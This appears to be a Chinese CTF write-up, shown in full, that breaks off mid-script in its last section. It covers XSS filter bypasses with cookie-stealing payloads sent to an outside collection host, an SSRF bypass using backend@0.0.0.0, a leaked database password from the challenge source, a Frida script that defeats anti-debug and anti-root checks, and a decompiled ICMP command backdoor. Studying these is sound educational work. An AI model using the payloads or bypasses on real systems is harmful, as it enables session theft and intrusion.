【全栈ctfer计划中,会持续复现学习与更新该文章】
赛事信息

战队排名情况
排名:13 
题目附件
Miscellaneous
Selfie Memory

G-Bee-S

Big Phone

Musical Encounter

Maze Cup

The Cardmaster

web
Press Me If U Can
Press me if you
can
(1)XSS Lab
考察点:xss单标签绕过多标签、//
绕过协议解析、jsfuck编码绕过关键词和特殊字符过滤
RequestBin —
A modern request bin to collect, inspect and debug HTTP requests and
webhooks - Pipedream XSS
1/4 xsslab.nops.re
赛后尝试
xss1
第一部分xss没有过滤,很简单,题目让我们窃取bot的cookie:
<script>var img=document.createElement("img");img.src="http://nmc9yl.ceye.io?cookie="+document.cookie;</script>
也可以用题目推荐的webhook网站来接收,很容易猜测是拼接到url去访问到下一关卡,因为这是多部分的xss。
在赛后给的源码中显示的是一串随机数api: 
xss2
访问/xss2
到第二部分:
严格匹配小写的script
和以</
开头、以>
结尾的HTML
闭合标签,即双标签的。 显然可以使用单标签绕过:
<img src=x onerror='document.location.replace("http://nmc9yl.ceye.io/?c="+document.cookie)'>

xss3
在xss2基础上过滤了URL
协议前缀://
、 事件处理属性。
事件关键词可以大小写绕过,但不知道怎么绕过URL协议前缀,卡住。
赛后学习-solved by dr.kasbr
xss3
由于浏览器会自动补全协议,//
实际上等价于 ://
(补全后),因此可以利用这一特性绕过过滤。不过尝试了之后发现接收不到,尝试官方wp:
<img src=x oNerror='document.location.replace("//nmc9yl.ceye.io/?c="+document.cookie)'>

xss4
1 2 3 4 5
| def filter_4(payload): regex = "(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|`).*(('.+')|(\".+\")|(`.+`)).*(\"|'|`)).*))|(on\w+\s*=)|\+|!" if re.match(regex, payload): return "Nope" return payload
|
这题过滤字符过多,可以考虑用jsfuck
编码,因为该编码的特点能够规避大部分过滤。
JSFuck
生成的代码不依赖被过滤的特殊符号(如 ;
、{}
、function
等),仅用 +
、[]
、()
等基础符号,因此容易绕过基于符号的黑白名单过滤,且不直接包含明文的关键字。最重要的是,JSFuck
生成的字符串是动态拼接的,正则无法识别“通过 +
和 []
生成的 script
。
传递webhookURL生成jsfuck的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import sys
def build_payload(host: str) -> str: js = f"fetch('//{host}?f='+document.cookie)" codes = ','.join(str(ord(c)) for c in js) return ( '<img src=x onerror=' f'([]+[]).constructor.constructor(([]+[]).constructor.fromCharCode({codes}))()>' )
if __name__ == "__main__": if len(sys.argv) != 2: print("usage: python3 0xfun.py <webhook-host>") sys.exit(1) print(build_payload(sys.argv[1].strip().rstrip('/')))
|

(1)Blog

考察点:ssrf漏洞的fuzz思路、0.0.0.0
覆盖原主机名backend
实现bypass
赛后尝试
web初探
sylvester
较可能是系统管理员用户。
首页的js部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <script> async function get_blog(blog="all") { let reponse = await fetch('/blog.php?blog='+blog); let json = await reponse.json(); document.getElementById('blog').innerHTML = ""; if (blog == "all") { for (let i = 0; i < json.length; i++) { var elemDiv = document.createElement('div'); elemDiv.className = "blog-entry"; elemDiv.innerHTML = `<h2><a onclick="get_blog(blog=${json[i].id})">${json[i].title}</a> - <i>${json[i].name}</i></h2>`; document.getElementById('blog').appendChild(elemDiv); } } else { var elemDiv = document.createElement('div'); elemDiv.className = "blog-entry"; elemDiv.innerHTML = `<div class="content"><h2>${json.title}</h2><div class="text-blog"><p>${json.content}</p><div class="signature"><i>- ${json.name}</i></div></div><button onclick="get_blog();">Back</button></div>`; document.getElementById('blog').appendChild(elemDiv); } } get_blog(); </script>
|
核心作用是通过向指定断点发送异步请求从服务端获取博客数据,并根据参数渲染「全部博客列表」或「单篇博客详情」。all是加载所有博客,指定博客则是通过ID,均返回json格式。

fuzz blogid
猜测有隐藏博客,尝试fuzz博客的id:
尝试从0到1000,依然只有3个有效文章: /blog.php?blog=§5§
尝试了fuzz路径也没有什么信息,卡住。
赛后学习-solved by dr.kasbr
队友的讨论记录点醒了我,确实前面的fuzz实际上是向前端与后端交互的端点发送请求,也就是说题目部署方式很可能是前后端分离的。
上面说明blog参数除了可以通过ID获取指定博客,也可以直接访问url,并且提示只允许给后端主机发送请求,那就很大概率是ssrf了。
传递无效字符串时提示无效ID: 
ssrf fuzz
那么接下来不应该是访问本地了,因为前后端可能分离部署,所以需要指定主机名/用户名,根据经验最有可能的命名就是后端,即?blog=http://backend.com
或?blog=http://backend@127.0.0.1
。前者其实可以忽略,因为前后端可能对应不同容器不同ip,如果要前者还得知道该域名解析后对应的真正ip,后者则类似于fuzz用户名,而如果要寻找其他主机实际上可以把127.0.0.1
替换成0.0.0.0
(这种也可以作为绕过127.0.0.1
过滤的方式,间接访问),这样就能尝试和同网络中的所有可能目标发送请求,看哪个/哪些目标发送回正确的响应。即此时就不需要知道后端的真实ip。
根据 URL 的标准格式(RFC 3986),完整的 URL 结构为:
protocol://[username[:password]@]host:port/path?query#fragment
发现同样是访问到了该页面,默认的80端口,但是没有太多有价值信息。但既然是ssrf,还可以作为端口探测的方式,所以可以尝试fuzz端口,查看是否其他端口提供有价值服务:
探测到8080端口返回了flag: 

深入研究
分析源码思考漏洞利用
研究下源码的后端接收该请求的地方在哪里,以及为什么上述方式能够绕过。
- 网络分配情况



除了mysql,前后端和redis都被分配到了同一个内网网段中。
另外从php_front
目录的配置文件中可以知道分别为两个服务指定了不同的虚拟主机,客户端通过不同端口访问时,Apache会根据端口路由到对应的虚拟主机:
可以发现这并不是严格意义上的前端(因为两个核心容器都有后端组件Apache)。
还有端口配置文件: 
- 前后端日志信息: front日志: 利用ssrf的fuzz内网端口探测:
backend日志:
接收来自front172.23.0.3
的请求。
- php_back (1)
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
header("Content-Type: application/json"); $mysql_pass = "6bba23db7f6df87eb215120d86e8ebd8001a695dabafcf8d6ac4b437ab06b716"; $mysql_user = "root"; $mysql_host = "mysql"; $mysql_db = 'blog_db'; $conn = new mysqli($mysql_host, $mysql_user, $mysql_pass, $mysql_db);
$url = parse_url($_SERVER['REQUEST_URI']); $path = trim($url['path'], '/'); $url = explode('/', $path); $id = $url[0];
if ($id === 'all') {
$query = "SELECT blog_posts.id, blog_posts.title, users.username AS name FROM blog_posts JOIN users ON blog_posts.user_id = users.id;"; $result = $conn->query($query); $rows = []; while($row = $result->fetch_assoc()) { $rows[] = $row; } echo json_encode($rows); } else if (!is_numeric($id)) {
echo json_encode(["error" => "Invalid ID"]); } else {
$stmt = $conn->prepare("SELECT blog_posts.id, blog_posts.title, blog_posts.content, users.username AS name FROM blog_posts JOIN users ON blog_posts.user_id = users.id WHERE blog_posts.id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); echo json_encode($row); }
?>
|
和前端js中看到的异步请求中的判断逻辑是对应上的,返回从mysql数据库中查询的数据,最终加密为json格式来输出。
- php_front
Dockerfile中也同样定义了两个端口,即php_front
开放了两个服务。
(1)index.html
藏有flag的页面,开放在8080端口,位于internal
目录下,只有内网才能够访问(因为80并没有在docker-compose.yml
中定义与主机端口的映射,模拟拒绝外网访问的场景)。
(2)index.php
这里就是用户能访问到的页面,最前面php部分调用redis记录同一ip的请求次数,对爆破做了基本防御:
后面就是之前分析过的了。
(3)blog.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
$backend_host = "backend";
if (isset($_GET['blog'])) { if (str_starts_with($_GET['blog'], 'http://')) { if (!str_starts_with($_GET['blog'], 'http://backend')) { header('HTTP/1.1 403 Unauthorized'); echo "<pre><b>Warning</b>: Request should only be sent to <b>backend</b> host.</pre>"; die(); } $url = $_GET['blog']; } else { $url = $backend_host . "/" . $_GET['blog']; } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); echo $result; curl_close($ch); } ?>
|
关键就在于blog
参数值的判断,所以黑盒fuzz时的backend
对应主机名,也就是docker创建后端php_back
时对应的docker服务名。这里前端接收到构造的目标URL后通过cURL转发请求给backend
。
显然这个代码片段就是关键,为什么存在ssrf,代码的预期是想要通过cURL把请求转发到主机名为backend
的容器,校验时只验证前缀是否为http://backend
,而攻击者利用URL的认证语法(user@host
)欺骗cURL,使其实际连接到攻击者指定的http://backend@0.0.0.0:8080
,此时的backend
则变成了用户名,不管这个用户名是否存在,cURL都会尝试访问,接着后面部分就是攻击者构造的任意主机名,相当于攻击者可以控制cURL访问的主机,把原主机名覆盖了,这就导致了能够利用SSRF来实现内网探测,最终这里0.0.0.0
路由时实际最终指向了php_front
本地部署的flag页面,如下:http://127.0.0.1:8080/(var/www/internal)/index.html
。
Casin0ps
Login
Game Boy

Game Boy Advance

Plotwist

Cryptography
The Emperor
加密内容:
1 2 3
| Ea, kag pqoapqp uf tgt? Ftqz, tqdq ue ftq rxms: UVGEFPQOAPQPMOMQEMDOUBTQDITUOTYMWQEYQMBDARQEEUAZMXODKBFATQDA
|
用凯撒也可以解密。 
Break My Stream

Key Exchange

CrypTopiaShell

n0psichu

Meago

Free n00psy
Wayback
Machine
Pwn
pwnfield

Under Attack

Reverse Engineering
(1)Read the Bytes!

考察点:ascii还原为字符
赛后尝试
源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from flag import flag
for char in flag: print(char)
|
很简单的python程序,题目告知最后的注释内容是该程序的输出,输出是整数,而flag是字节串,所以很有可能这些是ascii码表示后的,显然可以尝试还原出原字符串。
还原脚本编写
1 2 3 4 5 6 7 8 9 10 11
| ascii_values = [ 66, 52, 66, 89, 123, 52, 95, 67, 104, 52, 114, 97, 67, 55, 51, 114, 95, 49, 115, 95, 74, 117, 53, 116, 95, 52, 95, 110, 85, 109, 56, 51, 114, 33, 125 ] flag_str = ''.join(chr(i) for i in ascii_values) print(flag_str)
|

(未完待续)LooneyDroid

考察点:编写frida脚本hook
比赛时的临时笔记
app初探
jadx反编译器中定位相关字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.tnemesis.rev2.components; import android.os.Bundle; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity;
import com.tnemesis.rev2.databinding.ActivityMainBinding; import java.io.File;
public class MainActivity extends AppCompatActivity { private ActivityMainBinding binding;
@Override protected void onCreate(Bundle bundle) { super.onCreate(bundle); ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater()); this.binding = inflate; setContentView(inflate.getRoot());
try { new File("/data/data/com.tnemesis.rev2/looney_droids.fails").createNewFile(); } catch (Exception unused) { }
TextView textView = this.binding.sampleText;
if (!getIntent().hasExtra("result")) { str = "No interesting cartoon here."; } else { str = getIntent().getStringExtra("result"); } textView.setText(str); } }
|
主活动类,继承自AppCompatActivity,作为应用的入口界面。
AndroidManifest.xml
中还注册了另一个主要组件RandomReceiver
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.tnemesis.rev2.components;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent;
public class RandomReceiver extends BroadcastReceiver {
public static native String decodeMessage(String str);
static { System.loadLibrary("rev2"); }
@Override public void onReceive(Context context, Intent intent) {
String strDecodeMessage = decodeMessage( intent.hasExtra("cartoon") ? intent.getStringExtra("cartoon") : null );
Intent intent2 = new Intent( context.getApplicationContext(), (Class<?>) MainActivity.class );
intent2.putExtra("result", strDecodeMessage);
intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.getApplicationContext().startActivity(intent2); } }
|
提取lib.so
因为很多app上能看到的部分功能或者有些加密函数等,可能并非是直接定义在其代码中的,而是在外部的lib库,因此需要单独提取分析,上面的注释中也提到了decodeMessage()
函数是来自于库中加载的:
想在ida中查看反编译后的decodeMessage()
函数,但不知为什么导致ida直接崩溃无法反编译该函数。
赛后学习
AndroidManifest遗漏的点
查看官方wp后,发现遗漏分析了AndroidManifest.xml
一个很关键的地方:
1 2 3 4 5 6 7 8 9 10 11 12
| <application ...... <receiver android:name="com.tnemesis.rev2.components.RandomReceiver" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="com.tnemesis.rev2.B3ST_C4RTOON"/> </intent-filter> </receiver> ...... </application>
|
逐一解释该关键部分,
<receiver android:name=...>
作用是注册一个广播接收器(BroadcastReceiver
),用来监听广播并响应事件,且自定义了类RandomReceiver
来继承重写该广播接收器。
android:enabled="true"
表示此接收器是启用状态,会被系统识别并注册,否则即使写在
Manifest 中,系统也不会激活它。
- ⚠️‼️
android:exported="true"
这是漏洞利用的关键配置!表示该接收器是否允许外部应用发广播调用它,若为false,则仅限本
App 内部发广播才会触发它,由于它是
exported=true
,这意味着任何人只要知道它监听的
Action 名字,就可以调用它。这在
CTF、逆向、安全测试中极具价值!
<intent-filter>
和 <action>
子标签:意味着该 Receiver
监听的广播类型,<action android:name="com.tnemesis.rev2.B3ST_C4RTOON" />
这是其他
App 或终端用来唤醒这个接收器的
唯一标识符,也是我遗漏的关键信息!
注意到,在jadx中即使定位到相应的包,也没有看到B3ST_C4RTOON
的具体实现,因为这只是一个纯字符串,不是来自
Java
类或常量定义。它不会出现在代码中,除非开发者也在代码中引用了这个字符串。发现整个项目中它也就只有在AndroidManifest.xml
出现过:

adb尝试发送广播交互
所以,当尝试在终端用adb向该app发送广播如下:
1
| adb shell am broadcast -a com.tnemesis.rev2.B3ST_C4RTOON --es cartoon "flag{...}"
|
就会触发com.tnemesis.rev2.components.RandomReceiver
中的onReceive()
方法,回顾下该方法接收的广播中要有cartoon
参数,否则传入null,传递的值再交由decodeMessage()
进一步处理。
尝试交互一下:
说明广播接收成功,但由于cartoon传递的值是错误的,所以没有返回有价值结果,不传参数也是同样的返回:

检测反调试技术
可以在ida中查看librev2.so
的JNI_OnLoad()
,这是
native 层的入口函数,Java 在
System.loadLibrary("rev2")
时自动执行它,用于初始化和注册本地方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| jint JNI_OnLoad(JavaVM *vm, void *reserved) { jint v2; FILE *v4; bool v5; __int64 (__fastcall *v6)(); jint v7; _JNIEnv *v8; __int128 v9; __int64 (__fastcall *v10)(); __int64 v11;
v2 = 65542;
v11 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) + 40);
if ( (*vm)->GetEnv(vm, (void **)&v8, 65542LL) ) return -1;
if ( !access("/data/data/com.tnemesis.rev2/looney_droids.fails", 0) ) return v2;
v4 = fopen("/data/data/com.tnemesis.rev2/looney_droids.fails", "w"); fclose(v4);
if ( !v8->functions->FindClass(v8, "com/tnemesis/rev2/components/RandomReceiver") ) return -1;
v9 = *(_OWORD *)off_50C58;
v5 = (isDeviceSafe(v8) & 1) == 0;
v6 = decodeMessage; if ( !v5 ) v6 = decodeFlag;
v10 = v6;
v7 = ((__int64 (*)(void))v8->functions->RegisterNatives)(); if ( v7 ) return v7; else return 65542; }
|
先通过调用access()
进行初步检测,在类 Unix 系统(包括
Android,因为它基于 Linux)中,access()
是一个标准系统调用,用于检查文件或目录是否存在以及用户对它的访问权限,而无需实际打开文件。原型:int access(const char *pathname, int mode);
,mode
分别有如下值:
F_OK
: 检查文件是否存在。
R_OK
: 检查文件是否可读。
W_OK
: 检查文件是否可写。
X_OK
: 检查文件是否可执行。 代码中的0
等同于 F_OK
,返回值中,0
(零):表示检查成功;-1
:
表示检查失败。当 JNI_OnLoad
首次执行,或者文件不存在时,access()
函数会返回 -1
,!access(...)
会变成
!(-1)
,其布尔值为 !true
,即
false
。所以 if
条件不满足,程序会继续执行
if
块之外的代码。同理,文件已经存在时(第二次及以后启动,且未被删除),即返回0的情况,程序会立即
return v2;
,跳过所有后续的安全检查代码
(fopen
, isDeviceSafe
等)。
接着关键的反调试判断逻辑在isDeviceSafe()
函数中,如果判断设备是安全的,则当接收到广播传递的cartoon
参数值后,将
Java 层的 native
方法绑定到底层的真正解密函数decodeFlag()
而不是假的处理函数decodeMessage()
。由于ida中反编译isDeviceSafe()
有问题,观察其反汇编代码,主要关注调用了哪些函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| .text:0000000000023E98 ; __int64 __fastcall isDeviceSafe(_JNIEnv *) .text:0000000000023E98 EXPORT _Z12isDeviceSafeP7_JNIEnv .text:0000000000023E98 _Z12isDeviceSafeP7_JNIEnv ; CODE XREF: .plt:000000000004F3FC↓j .text:0000000000023E98 ; DATA XREF: LOAD:0000000000000D48↑o ... .text:0000000000023E98 ; __unwind { .text:0000000000023E98 STP X29, X30, [SP,#-0x10]! .text:0000000000023E9C MOV X29, SP .text:0000000000023EA0 BL ._Z17checkJavaControlsP7_JNIEnv ; checkJavaControls(_JNIEnv *) .text:0000000000023EA4 TBNZ W0, #0, loc_23EB8 .text:0000000000023EA8 BL ._Z26detectFridaNamedPipeNativev ; detectFridaNamedPipeNative(void) .text:0000000000023EAC TBNZ W0, #0, loc_23EB8 .text:0000000000023EB0 BL ._Z23detectFridaThreadNativev ; detectFridaThreadNative(void) .text:0000000000023EB4 TBZ W0, #0, loc_23EC8 .text:0000000000023EB8 .text:0000000000023EB8 loc_23EB8 ; CODE XREF: isDeviceSafe(_JNIEnv *)+C↑j .text:0000000000023EB8 ; isDeviceSafe(_JNIEnv *)+14↑j .text:0000000000023EB8 MOV W8, WZR .text:0000000000023EBC .text:0000000000023EBC loc_23EBC ; CODE XREF: isDeviceSafe(_JNIEnv *)+38↓j .text:0000000000023EBC AND W0, W8, #1 .text:0000000000023EC0 LDP X29, X30, [SP+0],#0x10 .text:0000000000023EC4 RET .text:0000000000023EC8 ; --------------------------------------------------------------------------- .text:0000000000023EC8 .text:0000000000023EC8 loc_23EC8 ; CODE XREF: isDeviceSafe(_JNIEnv *)+1C↑j .text:0000000000023EC8 BL ._Z21isFridaOpenPortNativev ; isFridaOpenPortNative(void) .text:0000000000023ECC EOR W8, W0, #1 .text:0000000000023ED0 B loc_23EBC .text:0000000000023ED0 ; } // starts at 23E98 .text:0000000000023ED0 ; End of function isDeviceSafe(_JNIEnv *)
|
checkJavaControls()
:检测 Java 层是否存在调试器等 Hook
框架(如 Xposed)。
detectFridaNamedPipeNative()
:检查是否存在 Frida
的命名管道。
detectFridaThreadNative()
:检查是否存在 Frida
的线程特征。
isFridaOpenPortNative()
:检查 Frida 默认监听端口(如
27042、27043)。
显然是一个很标准的反frida的检测逻辑,如果任意一个检测命中(即发现不安全因素),返回
0,否则返回 1 表示“设备安全”。
除了frida,还要检查是否有反root的检测:
在java层就可以看到,同样是很常规的检测逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| package com.tnemesis.rev2.models;
import android.content.Context; import android.content.pm.PackageManager; import android.os.Build; import java.io.BufferedReader; import java.io.File; import java.io.InputStreamReader; import java.util.Arrays; import java.util.Iterator; import java.util.List;
public class Checker { private static Context context;
public Checker(Context context2) { context = context2; }
public boolean detectTestKeys() { String str = Build.TAGS; return str != null && str.contains("test-keys"); }
public boolean detectRootManagementApps() { return isAnyPackageFromListInstalled(Arrays.asList(Const.knownRootAppsPackages)); }
public boolean detectPotentiallyDangerousApps() { return isAnyPackageFromListInstalled(Arrays.asList(Const.knownDangerousAppsPackages)); }
public boolean detectRootCloakingApps() { return isAnyPackageFromListInstalled(Arrays.asList(Const.knownRootCloakingPackages)); }
public boolean checkForSuBinary() { return checkForBinary("su"); }
public boolean checkForMagiskBinary() { return checkForBinary("magisk"); }
public boolean checkForBusyBoxBinary() { return checkForBinary("busybox"); }
private boolean checkForBinary(String str) { boolean z = false; for (String str2 : Const.getPaths()) { if (new File(str2, str).exists()) { z = true; } } return z; }
private boolean isAnyPackageFromListInstalled(List<String> list) throws PackageManager.NameNotFoundException { PackageManager packageManager = context.getPackageManager(); Iterator<String> it = list.iterator(); boolean z = false; while (it.hasNext()) { try { packageManager.getPackageInfo(it.next(), 0); z = true; } catch (PackageManager.NameNotFoundException unused) { } } return z; }
public boolean checkSuExists() { Process processExec = null; try { processExec = Runtime.getRuntime().exec(new String[]{"which", "su"}); boolean z = new BufferedReader(new InputStreamReader(processExec.getInputStream())).readLine() != null; if (processExec != null) { processExec.destroy(); } return z; } catch (Throwable unused) { if (processExec != null) { processExec.destroy(); } return false; } } }
|
绕过反frida的思路
frida脚本编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| let evade = false;
Interceptor.attach(Module.findExportByName("libc.so", "access"), { onEnter: function (args) { var path = Memory.readUtf8String(args[0]); evade = (path === "/data/data/com.tnemesis.rev2/looney_droids.fails"); }, onLeave: function (retval) { if (evade === true) { retval.replace(-1); console.log("[*] access() returned: " + retval.toInt32()); } } });
var is_librev2 = 0;
Interceptor.attach(Module.findExportByName(null, 'android_dlopen_ext'), { onEnter: function(args) { var library_path = Memory.readCString(args[0]); is_librev2 = library_path.endsWith("librev2.so"); }, onLeave: function(args) { if (is_librev2 === true) { var librev2 = Process.findModuleByName("librev2.so"); var exports = librev2.enumerateExports(); for (var i = 0; i < exports.length; i++) { var symbol = exports[i]; var address = symbol.address;
if (symbol.name.indexOf("isDeviceSafe") >= 0 && symbol.name.endsWith("JNIEnv")) { Interceptor.attach(address, { onEnter: function (args) { }, onLeave: function(retval) { retval.replace(1); } }); } else if (symbol.name === "JNI_OnLoad") { Interceptor.attach(address, { onEnter: function (args) {}, onLeave: function(retval) {} }); } } } } });
|
这个Frida脚本的核心功能是通过动态函数 Hook
来绕过Android应用中的两种常见安全检查:
- 文件存在性检查绕过: 它拦截了
libc.so
库中的 access()
函数调用。当应用尝试检查特定文件路径
/data/data/com.tnemesis.rev2/looney_droids.fails
是否存在或可访问时,脚本会强制 access()
函数返回
-1
。这欺骗了应用,让它认为该文件不存在,从而绕过任何依赖于此文件存在性的逻辑。
- 设备安全检查绕过: 脚本通过 Hook
android_dlopen_ext
函数来等待特定的共享库
librev2.so
被加载。一旦 librev2.so
被加载到内存中,脚本会进一步 Hook 其导出的名为
isDeviceSafe
(且以 JNIEnv
结尾)的函数。它会强制 isDeviceSafe
函数的返回值变为
1
。这有效地欺骗了应用,使其相信设备是安全的(例如,未被Root或篡改),从而绕过与设备完整性相关的检查。
但是执行后提示超时,暂时没排查出问题出在哪里,待: 

(待理解)pwntopiashl

考察点:
赛后尝试
bin逆向分析
main()

icmp_packet_listener()
这是一个基于 ICMP
的反向命令执行通信程序,可用于后门植入和 C2(Command and
Control)通信。它监听 ICMP 报文,判断是否为特定的命令包(如 ping
包中携带了特定的指令数据),然后执行这些指令并通过伪装成 ICMP
响应的方式返回结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157
| void __noreturn icmp_packet_listener() { size_t v0, v1, v2; int v3; struct sockaddr addr; char buf[2]; __int16 v6; char v7[8]; __int64 v8; __int16 v9, v10; char v11, v12; __int16 v13; char dest[25536]; char s[20]; char v16; int v17; unsigned int v18; FILE *stream; int v20, v21; char *v22, *v23; int fd; int i, j; int v27; unsigned int v28;
fd = socket(2, 3, 1); if ( fd < 0 ) exit(1);
while (1) { do memset(s, 0, 0x63C0uLL); while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
v23 = s; v22 = &v16; v21 = 28;
if ( v16 == 12 && v22[1] == 35 ) { v9 = *((_WORD *)v22 + 1);
LOBYTE(v10) = rand(); HIBYTE(v10) = rand();
v11 = v9 ^ HIBYTE(v9); v12 = v10 ^ HIBYTE(v10); v13 = v9 ^ v10;
memset(buf, 0, 0x20uLL); addr.sa_family = 2; *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3); buf[0] = 0; v6 = v10; sleep(1u); sendto(fd, buf, v20 + 8LL, 0, &addr, 0x10u); }
if ( *v22 == 19 && v22[1] == 42 ) { addr.sa_family = 2; *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3);
memset(dest, 0, sizeof(dest)); memcpy(dest, &s[v21], (unsigned int)(25535 - v21));
for ( i = 25536; ; --i ) { v0 = i; if ( v0 < strlen(dest) || dest[i - 1] ) break; }
for ( j = 0; j < i; ++j ) dest[j] ^= *((_BYTE *)&v9 + (j & 7));
puts(dest); fflush(_bss_start);
stream = popen(dest, "r"); if ( stream ) { memset(dest, 0, sizeof(dest)); memset(s, 0, 0x63C0uLL);
while ( fgets(s, 25536, stream) ) { v1 = strlen(dest); if ( v1 + strlen(s) > 0x63BE ) break; strcat(dest, s); } pclose(stream);
i = strlen(dest); for ( j = 0; j < i; ++j ) dest[j] ^= *((_BYTE *)&v9 + (j & 7));
for ( i = 25536; ; --i ) { v2 = i; if ( v2 < strlen(dest) || dest[i - 1] ) break; }
v27 = 0; v28 = i; v18 = ((unsigned __int64)i >> 4) + 1;
for ( j = 0; j < (int)v18; ++j ) { memset(buf, 0, 0x20uLL); buf[0] = 8;
v3 = v28; if ( v28 > 0x10 ) v3 = 16; v17 = v3;
sprintf(v7, "%04d%04d", (unsigned int)(j + 1), v18);
memcpy(&v8, &dest[v27], v17); v27 += v17; v28 -= v17;
sleep(1u); sendto(fd, buf, v17 + 16LL, 0, &addr, 0x10u); } } } } }
|
通过识别icmp包中特定的标识字节(如 12, 35
或
19, 42
)判断是否为控制指令。当接收到标识为
19, 42
的数据包时,程序会提取其中携带的加密命令内容,对其进行解密后作为系统命令执行,并将执行结果再次加密。其中,相应的密钥(v9
)是来自于当接收到标识为
12, 35
的数据包时获取的,每个相应的包接收2字节的密钥。由于
ICMP 数据包存在长度限制,程序会将结果按最多 16
字节一段进行分片,并构造伪装的 ICMP Echo Request
数据包逐段发送回原发送方,从而完成一次隐蔽的远程命令执行和结果回传过程。整个通信过程无需建立传统的TCP连接,具备较强的隐蔽性。
根据v22 = &v16;
、v9 = *((_WORD *)v22 + 1);
、if ( v16 == 12 && v22[1] == 35 )
和if ( *v22 == 19 && v22[1] == 42 )
,显然接下来需要去流量包中尝试是否能找到密钥的位置,根据反编译的结果表明该2字节密钥在每个包的起始标识字节附近。
流量包分析
只有icmp的流量包:
观察整体流量包情况:
显然这种存在问题参数的数据包是我们要优先关注的,显然对应于题目描述的“异常流量”。发现ida中用于判断的起始标识字节正好对应这里的icmp type
和icmp code
,而密钥v9
对应Checksum
。
查看该四个“problem“包,可以分别提取出对应的密钥(注意是小端序):
0x0ada
、0xff3c
、0x0aea
、0x3d56
队友3v1L@D3V1L
尝试爆破的方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from scapy.all import rdpcap, ICMP, Raw
def xor_data(data: bytes, key: int) -> bytes: """ 使用一个2字节的密钥对字节串进行重复XOR操作。 参数: data (bytes): 要进行XOR操作的字节串。 key (int): 用于XOR的16位整数密钥。 返回: bytes: XOR操作后的结果字节串。 """ key_bytes = key.to_bytes(2, 'little') return bytes(b ^ key_bytes[i % 2] for i, b in enumerate(data))
packets = rdpcap("capture.pcap")
keys = [0x0ADA, 0xFF3C, 0x0AEA, 0x3D56]
packet_data = {}
current_sequence_id = None
total_packets_expected = 0
